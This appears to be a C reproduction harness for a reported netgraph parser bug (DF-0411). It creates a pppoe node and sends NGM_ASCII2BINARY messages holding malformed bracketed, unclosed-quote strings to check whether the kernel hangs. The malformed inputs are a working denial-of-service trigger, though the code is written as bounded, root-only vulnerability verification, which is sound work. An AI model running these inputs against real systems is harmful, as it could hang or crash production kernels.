/*
 * DF-0411 reproduction: drive NGM_ASCII2BINARY (the only caller into
 * ng_parse_skip_value) with bracketed values containing unclosed quotes.
 *
 * Root-only: PF_NETGRAPH control sockets require caps_priv_check
 * (ng_socket.c:182). Verified: ngctl as maxx -> EPERM.
 *
 * We create a socket node, mkpeer a pppoe node, NAME it, then send
 * NGM_ASCII2BINARY to the named pppoe node with malformed struct values.
 * Each send is alarm()-bounded; a true kernel hang => TIMEOUT reported
 * and the guest wedges (vm.sh status -> down).
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#include <netgraph.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

static volatile sig_atomic_t timed_out;
static void handler(int s __unused) { timed_out = 1; }

static int
send_ascii2binary(int cs, const char *path,
    const char *cmdstr, const char *args, int secs)
{
	char buf[2 * sizeof(struct ng_mesg) + 2048];
	struct ng_mesg *const reply = (struct ng_mesg *)buf;
	struct ng_mesg *ascii;
	int alen;

	timed_out = 0;
	alarm(secs);

	alen = strlen(args) + 1;
	ascii = calloc(1, sizeof(*ascii) + alen);
	if (!ascii) { perror("calloc"); return -2; }
	strlcpy(ascii->header.cmdstr, cmdstr, sizeof(ascii->header.cmdstr));
	memcpy(ascii->data, args, alen);
	ascii->header.arglen = alen;

	fprintf(stderr, "[*] %-42s ... ", args);
	errno = 0;
	if (NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_ASCII2BINARY,
	    (u_char *)ascii, sizeof(*ascii) + alen) < 0) {
		alarm(0);
		fprintf(stderr, "send: %s\n", strerror(errno));
		free(ascii);
		return -3;
	}
	free(ascii);

	if (NgRecvMsg(cs, reply, sizeof(buf), NULL) < 0) {
		alarm(0);
		if (timed_out) {
			fprintf(stderr, "*** TIMEOUT (kernel hung?) ***\n");
			return -1;
		}
		fprintf(stderr, "recv: %s\n", strerror(errno));
		return -4;
	}
	alarm(0);
	/* ASCII2BINARY reply: the reply's data is a binary ng_mesg whose
	 * header.cmd is the resolved numeric cmd (or error set in flags). */
	fprintf(stderr, "OK reply arglen=%d (parser returned)\n",
	    reply->header.arglen);
	return 0;
}

int
main(void)
{
	int cs, ds;
	struct sigaction sa;
	struct ngm_mkpeer mkp;

	sa.sa_handler = handler;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;
	sigaction(SIGALRM, &sa, NULL);

	/* Named socket node k411. */
	if (NgMkSockNode("k411", &cs, &ds) < 0) {
		fprintf(stderr, "NgMkSockNode: %s\n", strerror(errno));
		return 2;
	}
	fprintf(stderr, "[+] control socket cs=%d, node k411\n", cs);

	/* mkpeer a pppoe node off hook "pp" on k411. Path "." = self. */
	memset(&mkp, 0, sizeof(mkp));
	strlcpy(mkp.type, "pppoe", sizeof(mkp.type));
	strlcpy(mkp.ourhook, "pp", sizeof(mkp.ourhook));
	strlcpy(mkp.peerhook, "pp", sizeof(mkp.peerhook));
	if (NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER,
	    &mkp, sizeof(mkp)) < 0) {
		fprintf(stderr, "[!] mkpeer pppoe: %s\n", strerror(errno));
	}
	/* Name the peer node (reachable at hook pp) so we have a stable path. */
	if (NgNameNode(cs, "k411:pp", "pp411") < 0) {
		fprintf(stderr, "[!] name pp411: %s\n", strerror(errno));
	} else {
		fprintf(stderr, "[+] named pppoe node pp411\n");
	}

	/* CONTROL: a well-formed pppoe_connect (valid struct) must parse and
	 * return (possibly an error from pppoe itself, but the ASCII2BINARY
	 * step completes). This proves the parser is reached. */
	fprintf(stderr, "\n== control: well-formed struct ==\n");
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook=\"eth0\" data=\"svc\" }", 5);

	fprintf(stderr, "\n== test: malformed bracketed unclosed-quote values ==\n");
	/* variant A: finding's claimed trigger shape */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook=[1 \"abc }", 5);
	/* variant B: bracket directly then unclosed quote */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook=[\"abc }", 5);
	/* variant C: brace then unclosed quote */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook={\"abc }", 5);
	/* variant D: double bracket then unclosed quote */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook=[[\"abc }", 5);
	/* variant E: bracket, long word, then unclosed quote */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "{ hook=[abcdef\"abc }", 5);
	/* variant F: the value field itself is the malformed one, no outer struct */
	send_ascii2binary(cs, "pp411:", "pppoe_connect",
	    "[1 \"abc", 5);

	fprintf(stderr, "\n[+] all variants completed; if no TIMEOUT above, no hang\n");
	close(cs); if (ds >= 0) close(ds);
	return 0;
}
